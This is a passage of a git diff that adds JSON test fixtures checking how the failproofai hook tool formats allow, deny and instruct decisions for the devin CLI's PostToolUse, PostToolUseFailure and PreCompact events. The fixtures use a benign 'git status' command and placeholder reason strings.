"/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..d05eedf4 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUse\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6a4f66bd --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..314dd471 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..e515e54f --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..b0e544da --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..5ed69f10 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..9ec9d954 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..f0411800 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..dab12017 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..992a5d02 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..01b87507 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-present__one-policy.json new file mode 100644 index 00000000..ec62735f --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-present__two-policies.json new file mode 100644 index 00000000..158b3112 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..b32e3ba6 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..f2320066 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6717bb94 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..8bbcd640 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostToolUseFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PostToolUseFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..efb04bfe --- /dev/null +++ b/__tests__/parity/fixtures/devin/PreCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PreCompact", + "input": { + "event_type": "PreCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PreCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PreCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": 